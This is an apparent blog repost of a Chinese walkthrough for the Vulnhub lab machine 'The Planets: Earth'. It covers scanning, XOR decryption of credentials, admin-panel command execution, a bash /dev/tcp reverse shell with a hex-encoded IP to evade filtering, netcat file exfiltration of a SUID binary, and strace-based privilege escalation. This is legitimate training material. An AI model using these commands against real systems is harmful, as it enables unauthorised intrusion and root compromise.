Vulnhub系列靶机-The Planets Earth

news2024/9/28 1:18:59

文章目录

  • Vulnhub系列靶机-The Planets: Earth
    • 1. 信息收集
      • 1.1 主机扫描
      • 1.2 端口扫描
      • 1.3 目录爆破
    • 2. 漏洞探测
      • 2.1 XOR解密
      • 2.2 解码
    • 3. 漏洞利用
      • 3.1 反弹Shell
    • 4. 权限提升
      • 4.1 NC文件传输
    • Netcat(nc)文件传输

Vulnhub系列靶机-The Planets: Earth

1. 信息收集

1.1 主机扫描

arp-scan -l

image-20230927130107003

1.2 端口扫描

nmap -p- -A 192.168.188.198

image-20230927130537258

发现靶机开启了22,80,443端口

访问页面

image-20230927130523482

页面报错误请求400,在hosts文件中加入DNS解析

image-20230927132521888

访问http://earth.local/

image-20230927132654049

1.3 目录爆破

dirsearch -u http://earth.local/ -e * -i 200

image-20230927132848042

爆破出来了/admin/login目录,浏览器中访问一下,发现是一个登录页面。

image-20230927132906526

对另一个页面进行目录爆破

dirsearch -u https://terratest.earth.local/ -i 200

image-20230927133102538

2. 漏洞探测

页面访问一下robots.txt

image-20230927133444295

发现除了常规的格式不能访问之外,最后有一个Disallow: /testingnotes.*,和上面的后缀格式拼接访问txt文件。

image-20230927133623676

翻译页面

测试安全消息传递系统注意事项:
*使用异或加密作为算法,应该与RSA中使用的一样安全。
*地球已经确认他们收到了我们发送的信息。
*testdata.txt用于测试加密。
*terra用作管理员门户的用户名。
待办事项:
*我们如何安全地将每月的钥匙发送到地球?或者我们应该每周换一次钥匙?
*需要测试不同的密钥长度以防止暴力。钥匙应该有多长?
*需要改进消息传递界面和管理面板的界面,这是目前非常基本的。

到这里我们知道,加密算法是XOR,用户名是terra,并且还有一个testdata.txt用于测试加密。

页面访问/testdata.txt

image-20230927134115574

翻译如下

根据放射性测年法和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,生命出现在海洋中,并开始影响地球的大气和表面,导致厌氧生物和后来的好氧生物的增殖。一些地质证据表明,生命可能早在41亿年前就出现了。

回到之前的页面在http://earth.local/下面有三串数据

image-20230927134414332

通过三个秘钥去尝试找到用户名为terra对应的密码

2.1 XOR解密

XOR,全称为Exclusive OR(异或),是一种逻辑运算符。XOR常用于数据加密、校验和计算。

将Previous Messages与testdata.txt进行XOR运算,这里我们编写脚本来XOR解密。

import binascii

data1 = "37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40"
data2 = "3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45"
data3 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))
print(hex(int(data2,16) ^ int(f,16)))
print(hex(int(data3,16) ^ int(f,16)))

image-20230927135949549

testdata.txt文件内容。

image-20230927140001760

执行脚本,获得的三串数据都是十六进制的

image-20230927135925396

2.2 解码

使用utools中的解码工具进行解码。

第一串字符

image-20230927140211738

第二串字符

image-20230927140246130

第三串字符

image-20230927140301832

可以看到前两个没有重要数据,第三个是重复的earthclimatechangebad4humans

尝试用户名和密码进行登录

terra
earthclimatechangebad4humans

登录成功

image-20230927140429479

观察页面发现可以执行命令

image-20230927140512168

命令执行漏洞

查看是否有flag文件,发现一个/var/earth_web/user_flag.txt

image-20230928105920217

查看/var/earth_web/user_flag.txt文件

image-20230928110019890

获取到第一个flag

3. 漏洞利用

3.1 反弹Shell

既然可以执行命令那么我们可以反弹shell

bash -i &> /deb/tcp/192.168.188.198/8888 0>&1

image-20230928110304077

发现远程连接被禁止了。

这种情况可以对IP地址进行十六进制编码或者对整个命令进行base64编码。这里我选择对IP地址进行十六进制编码。

IP地址进制转换。

image-20230928112007120

bash -i >& /dev/tcp/0XC0A8BC9D/8888 0>&1

然后kali主机上监听8888端口

nc -lnvp 8888 -e /bin/bash

image-20230928110807145

反弹成功

image-20230928112032498

查看当前用户的权限

image-20230928112110207

发现权限较低,尝试进行提取。

4. 权限提升

查看一些特殊权限的文件

find / -perm -u=s -type f 2>/dev/null

命令解析

  • -perm -u=s:表示通过文件权限来匹配文件。其中,-perm用于指定要匹配的权限,-u表示用户权限,而s表示SetUID权限。SetUID权限(Set User ID)是一种特殊的权限位,当用户执行该文件时,会以该文件的所有者的身份来执行。
  • -type f:表示只匹配普通文件(regular file)。这里的f表示文件。
  • 2>/dev/null:将错误输出(stderr)重定向到/dev/null,即丢弃错误信息。

image-20230928112543425

看到reset_root文件,尝试运行

image-20230928113543273

发现无法运行。

4.1 NC文件传输

使用nc进行传输文件

在Kali上输入nc -nlvp 7788 >reset_root,开启监听

image-20230928113814804

在靶机中输入如下命令

nc 192.168.188.157 7788 < /usr/bin/reset_root

image-20230928114240548

命令解析:

  • 使用Netcat(nc)工具将 /usr/bin/reset_root 文件发送到 IP 地址为 192.168.188.157 的接收端的 7788 端口。

strace调试工具

使用strace工具检测reset_root文件的运行过程,如果没有可以进行下载。

sudo apt install strace

image-20230928114428439

对reset_root进行调试,给reset_root文件赋予执行权限

chmod +x reset_root
strace ./reset_root

命令解析

  • strace是一个用于跟踪进程系统调用和信号的工具
    • strace:表示启动strace工具。
    • ./reset_root:表示要执行的可执行文件或命令。

image-20230928114616938

image-20230928114700775

发现文件执行失败是因为少了这三个文件或目录。

在靶机shell上创建这三个文件

进入靶机终端进行创键

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

image-20230928114836255

创建完成后执行reset_root

image-20230928115122133

获取到了root的密码:Earth

成功获得root权限,得到最后的flag

image-20230928115214457

image-20230928115239569

Netcat(nc)文件传输

使用Netcat(nc)进行文件传输可以在计算机之间快速传输文件。Netcat是一个网络工具,它能够创建网络连接、发送和接收数据。

详细步骤:

  1. 在接收端启动监听

    nc -l -p <port> > received_file
    

    在接收端运行上述命令来监听指定的端口。-l 参数表示监听模式,-p <port> 参数用于指定监听的端口号。所有传入的数据将被重定向到 received_file 文件中。

  2. 在发送端发送文件

    nc <receiver_ip> <receiver_port> < file_to_send
    

    在发送端运行上述命令来发送文件。<receiver_ip> 是接收端的 IP 地址,<receiver_port> 是接收端开放的端口号,< file_to_send 是要发送的文件名或路径。Netcat将会将文件的内容通过网络发送到接收端。

  3. 接收端接收文件:

    接收端会将数据写入 received_file 指定的文件中。你可以在接收端的文件系统中找到该文件,并对其进行进一步处理。

在使用的时候确保以下几点:

  • 发送端和接收端之间存在网络连接,并且网络设置正确。
  • 接收端的端口没有被防火墙或其他网络安全设备阻塞。
  • 发送端和接收端都有足够的权限读取和写入文件。
  • 确保文件路径和文件名是正确的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1073822.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

工矿企业电力运维云平台:提升效率与降低成本的关键

针对工矿企业用户&#xff0c;聚焦供配电领系统“安全监控、能耗管理、智能运维” 的三大需求&#xff0c;研发推出了“电易云”--智慧电力物联网&#xff0c;为工矿企业用户提供智慧电力数字化解决方案及数据服务&#xff0c;实现供配电系统的数字化、云端化、智能化、绿色化&…

笔记36:CNN的多通道卷积到底是什么样的

总结&#xff1a; &#xff08;1&#xff09;输入卷积层的feature_map的通道数&#xff0c;就是该卷积层每个卷积核所含有的通道数 &#xff08;2&#xff09;输出卷积层的feature_map的通道数&#xff0c;就是该卷积层所含有的卷积核的个数 a a a a 解释&#xff1a;【…

【数据结构C/C++】稀疏矩阵的压缩

文章目录 什么是稀疏矩阵&#xff1f;使用C语实现对稀疏矩阵的压缩408考研各数据结构C/C代码&#xff08;Continually updating&#xff09; 什么是稀疏矩阵&#xff1f; 稀疏矩阵&#xff08;Sparse Matrix&#xff09;是一种矩阵&#xff0c;其中大多数元素都是零。与稠密矩…

Floorplanning with Graph Attention

Floorplanning with Graph Attention DAC ’22 目录 Floorplanning with Graph Attention摘要1.简介2.相关工作3.问题公式化4. FLORA的方法4.1 解决方案概述4.2 C-谱聚类算法 4.3 基于GAT的模型4.4 合成训练数据集生成 摘要 布图规划一直是一个关键的物理设计任务&#xff0…

mac(M1)安装anaconda3

首先下载 然后正常安装即可&#xff0c;之所以我现在测试了anaconda,因为我发现miniconda后&#xff0c;jupyter notebook的安装就出现问题&#xff0c;所以就直接卸载miniconda&#xff0c;而直接安装anaconda了 (base) yxkbogon ~ % pip list Package …

算法通过村第十三关-术数|白银笔记|术数高频问题

文章目录 前言数组实现加法专题数组实现整数加法字符串加法二进制加法 幂运算专题求2的次幂求3的次幂求4的次幂 总结 前言 提示&#xff1a;人心本易趋死寂&#xff0c;苦难之后&#xff0c;焕然重建&#xff0c;激荡一阵&#xff0c;又趋麻木。 --苏枕书《有鹿来》 我们继续看…

连续子数组的最大和

这其实用到的是一个dp的动态规划数组来描写的。 用两个变量就能解决了&#xff0c;一个是max(记录前i个数中子数组的最大的和), 一个是sum是记录前i个数组的和最大值和自己去比较&#xff0c;就是前i-1个和是8&#xff0c;自己是-2&#xff0c; 8 - 2 > -2&#xff0c;所以…

Qt内置的图标与图标字体库加载应用实例(内置图标与加载外置的图标字体库)

一、前言 当涉及到创建应用程序的图形用户界面(GUI)时,图标是不可或缺的一部分。Qt作为一个流行的跨平台开发框架,不仅提供了丰富的UI组件和功能,还内置了许多精美的图标供开发者使用。这些内置图标提供了一种简便的方式,使开发者可以在应用程序中轻松地添加各种图标,提…

科技云报道:联络中心效能与体验齐飞,容联云AICC是如何做到的?

科技云报道原创。 AI与大模型为千行万业带来的进化与改造&#xff0c;远比想象来得更加猛烈。作为数字化升级改造的核心场景之一&#xff0c;联络中心在AI与大模型加持下&#xff0c;正在从基础云通讯迈入智能化的3.0时代。 身处行业智能化浪潮之中&#xff0c;容联云AICC作为…

【Linux】冯诺依曼体系结构初识操作系统

文章目录 1. 冯诺依曼体系结构2. 初识操作系统2.1 操作系统是什么&#xff1f;2. 为什么要有操作系统3. 操作系统是怎么管理的4. 系统调用&#xff08;System Call&#xff09; 1. 冯诺依曼体系结构 我们常见的计算机&#xff0c;如笔记本。我们不常见的计算机&#xff0c;如服…

qml入门

window import QtQuick 2.15 import QtQuick.Window 2.15 import QtQuick.Controls 2.5Window { //root控件&#xff0c;父窗口是主界面width: 640height: 480visible: true//相对于父控件的偏移量x: 100y:100minimumWidth: 400 //最小宽度minimumHeight: 300 //最小高度ma…

浏览器安装vue调试工具

下载扩展程序文件 下载链接&#xff1a;链接: 下载连接网盘地址&#xff0c; 提取码: 0u46&#xff0c;里面有两个crx,一个适用于vue2&#xff0c;一个适用于vue3&#xff0c;可根据vue版本选择不同的调试工具 crx安装扩展程序不成功&#xff0c;将文件改为rar文件然后解压 安装…

Jenkins 构建时动态获取参数

文章目录 问题简介Groovy 脚本配置进阶 问题 在做jenkins项目时&#xff0c;有些参数不是固定写死的&#xff0c;而是动态变化的&#xff0c;这时我们可以用 Active Choices 插件来远程调用参数 问题解决方案&#xff1a;执行构建前使用Groovy Scrip调用本地脚本&#xff0c;…

Wlan——无线反制理论与配置讲解

目录 非法设备基本概念 非法设备的分类 如何识别非法设备的类型 非法设备判断流程 反制AP的工作模式 AP对于非法设备的检测模式 AP对于非法设备的反制模式 反制设备的工作原理 反制设备如何获取非法设备的信息 反制设备对非法设备反制的原理 如何通过空口抓包判断是…

iframe框架token失效重新登陆问题

在登录信息过期之后&#xff0c;或者也就是token过期后&#xff0c;要登出&#xff0c;跳转到登录页面重新登录来获取token等信息。 这时如果你用的是iframe框架的话&#xff0c;就会出现登录界面是嵌套在框架里面的情况&#xff0c;或者出现下图所示报错情况。 出现这种情况…

PowerBI 一些基础功能

1、PowerBI创建日期表 1.1、Power BI 日期表 - 知乎日期是做数据分析的时候使用最频繁的分析维度&#xff0c;一般建议建立单独的日期维度表&#xff0c;并与事实表的日期字段建立连接。 建立日期维度表可通过DAX函数的方式进行&#xff1a; 日期表 CALENDAR(DATE("2023&…

基于Springboot实现疫情网课管理系统项目【项目源码+论文说明】

基于Springboot实现疫情网课管理系统演示 摘要 随着科学技术的飞速发展&#xff0c;各行各业都在努力与现代先进技术接轨&#xff0c;通过科技手段提高自身的优势&#xff1b;对于疫情网课管理系统当然也不能排除在外&#xff0c;随着网络技术的不断成熟&#xff0c;带动了疫情…

当我们谈论量化时,我们在谈论什么?量化投资常见策略有哪些?| 融券T0和高频交易详解【邢不行】

最近关于量化的争议不断&#xff0c;很多人甚至建议取缔量化。 部分人认为量化以高频交易配合融券变相实现T0&#xff0c;赚走了市场所有的钱&#xff0c;有失公正。 高频交易大家都听过&#xff0c;即凭借程序在几秒甚至几毫秒内完成一笔交易&#xff0c;有人认为这对还在盯盘…

ThreadLocal线程变量使用浅解

一、概述    ThreadLocal一般称为线程本地变量&#xff0c;它是一种特殊的线程绑定机制&#xff0c;将变量与线程绑定在一起&#xff0c;为每一个线程维护一个独立的变量副本。通过ThreadLocal可以将对象的可见范围限制在同一个线程内&#xff0c; 在实际多线程操作的时候&a…

探索8个顶级的绘图工具

在数字时代&#xff0c;绘画已经成为一种常见的表达方式&#xff0c;不仅广泛应用于艺术创作领域&#xff0c;而且在教育、设计和商业领域发挥着重要作用。随着技术的进步&#xff0c;越来越多的计算机绘图软件出现&#xff0c;为用户提供了更多的选择。本文将推荐8个计算机绘图…